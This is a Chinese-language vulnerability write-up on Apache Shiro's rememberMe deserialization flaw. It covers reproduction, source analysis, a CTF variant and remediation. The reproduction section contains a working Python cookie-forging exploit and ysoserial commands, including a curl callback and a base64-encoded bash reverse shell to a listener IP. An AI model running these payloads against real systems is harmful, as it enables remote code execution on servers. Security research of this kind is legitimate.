本文首發於先知:
0x01.漏洞復現
環境配置
https://github.com/Medicean/VulApps/tree/master/s/shiro/1

測試
需要一個vps ip提供rmi注冊表服務,此時需要監聽vps的1099端口,復現中以本機當作vps使用
poc:
import sys import uuid import base64 import subprocess from Crypto.Cipher import AES def encode_rememberme(command): popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__': payload = encode_rememberme(sys.argv[1]) print "rememberMe={0}".format(payload.decode())
此時在vps上執行:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 'curl 192.168.127.129:2345' //command可以任意指定
此時執行poc可以生成rememberMe的cookie:

此時burp發送payload即可,此時因為poc是curl,因此監聽vps的2345端口:

此時發送payload即可觸發反序列化達到rce的效果

如果要反彈shell,此時vps上執行:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNy4xMjkvMjM0NSAwPiYxIA==}|{base64,-d}|{bash,-i}'
其中反彈shell執行的命令通過base64編碼一次
http://www.jackson-t.ca/runtime-exec-payloads.html
上面的地址可以將bash命令進行base64編碼
此時vps監聽2345端口,並且生成新的payload進行rememberMe的cookie替換



此時就能夠收到shell了
0x02.漏洞分析
這里使用idea來運行環境,直接import maven項目即可,另外要配置一下pom.xml中的以下兩項依賴,否則無法識別jsp標簽

生成cookie的過程
shiro會提供rememberme功能,可以通過cookie記錄登錄用戶,從而記錄登錄用戶的身份認證信息,即下次無需登錄即可訪問。而其中對rememberme的cookie做了加密處理,漏洞主要原因是加密的AES密鑰是硬編碼在文件中的,那么對於AES加密算法我們已知密鑰,並且IV為cookie進行base64解碼后的前16個字節,因此我們可以構造任意的可控序列化payload

處理rememberme的cookie的類為org.apache.shiro.web.mgt.CookieRememberMeManager,它繼承自org.apache.shiro.mgt.AbstractRememberMeManager,其中在AbstractRememberMeManager中定義了加密cookie所需要使用的密鑰,當我們成功登錄時,如果勾選了rememberme選項,那么此時將進入onSuccessfulLogin方法


接下來將會對登錄的認證信息進行序列化並進行加密,其中PrincipalCollection類的實例對象存儲着登錄的身份信息,而encrypt方法所使用的加密方式正是AES,並且為CBC模式,填充方式為PKCS5


其中ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());這里調用的正是AES的encrypt方法,具體的實現在org/apache/shiro/crypto/JcaCipherService.java文件中,其實現了CiperService接口,並具體定義了加密的邏輯

在encrypt方法中,就是shiro框架自帶的加密流程,可以看到此時將iv放在crtpt()加密的數據之前然后返回

加密結束后,將在org/apache/shiro/web/mgt/CookieRememberMeManager.java的rememberSerializedIdentity方法中進行base64編碼,並通過response返回

解析cookie的過程
此時將在org/apache/shiro/web/mgt/CookieRememberMeManager.java中將傳遞的base64字符串進行解碼后放到字節數組中,因為java的序列化字符串即為字節數組
byte[] decoded = Base64.decode(base64);
此后將調用org/apache/shiro/mgt/AbstractRememberMeManager.java中的getRememberedPrincipals()方法來從cookie中獲取身份信息

此時可以看到將cookie中解碼的字節數組進行解密,並隨后進行反序列化

其中decrypt方法中就使用了之前硬編碼的加密密鑰,通過getDecryptionCipherKey()方法獲取

而我們實際上可以看到其構造方法中實際上定義的加密和解密密鑰都是硬編碼的密鑰


即為Base64.decode("kPH+bIxk5D2deZiIxcaaaA=="),得到解密的密鑰以后將在org/apache/shiro/crypto/JcaCipherService.java的decrypt()方法中進行解密,此時從cookie中取出iv與加密的序列化數據

並在decrypt方法中調用調用crypt方法利用密文,key,iv進行解密

解密完成后將返回到org/apache/shiro/mgt/AbstractRememberMeManager.java的convertBytesToPrincipals()方法中,此時deserialize(bytes)將對解密的字節數組進行反序列化,而這里的序列化的類是使用DefaultSerialize,即
this.serializer = new DefaultSerializer<PrincipalCollection>();
此時將調用deserialize()方法來進行反序列化,在此方法中我們就可以看到熟悉的readObject(),從而觸發反序列化

Ogeek線下java-shiro
這道題中cookie的加密方式實際上不是默認的AES。因為從之前shiro加解密的過程我們已經知道org/apache/shiro/crypto/CipherService.java是個接口,並且在shiro默認的認證過程中,將會通過在shiro加密序列化字節數組時,將會通過getCiperService()方法返回所需要的加密方式,而默認情況下是AES加密



那么實際上我們也可以定義自己的加密邏輯,這道題目便是自己實現了CiperService接口並自己實現了一個簡單的加密和解密的流程
WEB-INF/classes/com/collection/shiro/crypto/ShiroCipherService.class:
package com.collection.shiro.crypto; import java.io.InputStream; import java.io.OutputStream; import java.util.Base64; import java.util.UUID; import javax.servlet.http.HttpServletRequest; import org.apache.shiro.SecurityUtils; import org.apache.shiro.crypto.CipherService; import org.apache.shiro.crypto.CryptoException; import org.apache.shiro.crypto.hash.Md5Hash; import org.apache.shiro.crypto.hash.Sha1Hash; import org.apache.shiro.subject.Subject; import org.apache.shiro.util.ByteSource; import org.apache.shiro.util.ByteSource.Util; import org.apache.shiro.web.util.WebUtils; import org.json.JSONObject; public class ShiroCipherService implements CipherService { public ShiroCipherService() { } public ByteSource decrypt(byte[] ciphertext, byte[] key) throws CryptoException { String skey = (new Sha1Hash(new String(key))).toString(); byte[] bkey = skey.getBytes(); byte[] data_bytes = new byte[ciphertext.length]; for(int i = 0; i < ciphertext.length; ++i) { data_bytes[i] = (byte)(ciphertext[i] ^ bkey[i % bkey.length]); } byte[] jsonData = new byte[ciphertext.length / 2]; for(int i = 0; i < jsonData.length; ++i) { jsonData[i] = (byte)(data_bytes[i * 2] ^ data_bytes[i * 2 + 1]); } JSONObject jsonObject = new JSONObject(new String(jsonData)); String serial = (String)jsonObject.get("serialize_data"); return Util.bytes(Base64.getDecoder().decode(serial)); } public void decrypt(InputStream inputStream, OutputStream outputStream, byte[] bytes) throws CryptoException { } public ByteSource encrypt(byte[] plaintext, byte[] key) throws CryptoException { String sign = (new Md5Hash(UUID.randomUUID().toString())).toString() + "asfda-92u134-"; Subject subject = SecurityUtils.getSubject(); HttpServletRequest servletRequest = WebUtils.getHttpRequest(subject); String user_agent = servletRequest.getHeader("User-Agent"); String ip_address = servletRequest.getHeader("X-Forwarded-For"); ip_address = ip_address == null ? servletRequest.getRemoteAddr() : ip_address; String data = "{\"user_is_login\":\"1\",\"sign\":\"" + sign + "\",\"ip_address\":\"" + ip_address + "\",\"user_agent\":\"" + user_agent + "\",\"serialize_data\":\"" + Base64.getEncoder().encodeToString(plaintext) + "\"}"; byte[] data_bytes = data.getBytes(); byte[] okey = (new Sha1Hash(new String(key))).toString().getBytes(); byte[] mkey = (new Sha1Hash(UUID.randomUUID().toString())).toString().getBytes(); byte[] out = new byte[2 * data_bytes.length]; for(int i = 0; i < data_bytes.length; ++i) { out[i * 2] = mkey[i % mkey.length]; out[i * 2 + 1] = (byte)(mkey[i % mkey.length] ^ data_bytes[i]); } byte[] result = new byte[out.length]; for(int i = 0; i < out.length; ++i) { result[i] = (byte)(out[i] ^ okey[i % okey.length]); } return Util.bytes(result); } public void encrypt(InputStream inputStream, OutputStream outputStream, byte[] bytes) throws CryptoException { } }
這里加密的解密的邏輯都有,並且此時encrypt的加密實際上是針對json字符串進行的,解密時也會對json字符串進行同樣解密算法,並取其中serialize_data字段的內容進行base64解碼以后進行返回,因此我們只要結合ysoserial.jar將生成的payload進行base64編碼,並且與放入serialize_data字段中,並且調用此加密邏輯對json字符串進行加密並進行base64編碼即可獲得rememberme的cookie值,當傳送給服務器端后,也將先進行base64解碼,然后調用decrypt進行解密,得到json字符串后再將我們放入serialize_data字段中的payload進行反序列化。這里實現的加密也是對稱加密,並且通過以下的文件可以看到加解密均是讀取服務器上remember.key文件來獲取,因此也是硬編碼的,因此只要知道該密鑰,並且已知加密的邏輯,就可以控制cookie值,來進行反序列化,由下面的邏輯也可以看出初始情況下此密鑰為32位
WEB-INF/classes/com/collection/shiro/manager/ShiroRememberManager.class:
package com.collection.shiro.manager; import com.collection.shiro.crypto.ShiroCipherService; import java.io.BufferedWriter; import java.io.FileWriter; import java.io.InputStream; import org.apache.commons.lang.RandomStringUtils; import org.apache.shiro.crypto.CipherService; import org.apache.shiro.crypto.hash.Md5Hash; import org.apache.shiro.web.mgt.CookieRememberMeManager; public class ShiroRememberManager extends CookieRememberMeManager { private CipherService cipherService = new ShiroCipherService(); public ShiroRememberManager() { } public CipherService getCipherService() { return this.cipherService; } public byte[] getEncryptionCipherKey() { return this.getKeyFromConfig(); } public byte[] getDecryptionCipherKey() { return this.getKeyFromConfig(); } private byte[] getKeyFromConfig() { try { InputStream fileInputStream = this.getClass().getResourceAsStream("remember.key"); String key = ""; if (fileInputStream != null && fileInputStream.available() >= 32) { byte[] bytes = new byte[fileInputStream.available()]; fileInputStream.read(bytes); key = new String(bytes); fileInputStream.close(); } else { BufferedWriter writer = new BufferedWriter(new FileWriter(this.getClass().getResource("/").getPath() + "com/collection/shiro/manager/remember.key")); key = RandomStringUtils.random(32, "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_="); writer.write(key); writer.close(); } key = (new Md5Hash(key)).toString(); return key.getBytes(); } catch (Exception var4) { var4.printStackTrace(); return null; } } }
0x03.漏洞修復
1.對於shiro的認證過程而言,如果我們使用了硬編碼的默認密鑰,或者我們自己配置的AES密鑰一旦泄露,都有可能面臨着反序列化漏洞的風險,因此可以選擇不配置硬編碼的密鑰,那么此情況下shiro將會為我們每次生成一個隨機密鑰
2.若需要自己生成密鑰,官方提供org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()方法來進行AES的密鑰生成
參考
https://www.cnblogs.com/loong-hon/p/10619616.html
https://www.cnblogs.com/maofa/p/6407102.html
https://cloud.tencent.com/developer/article/1472310
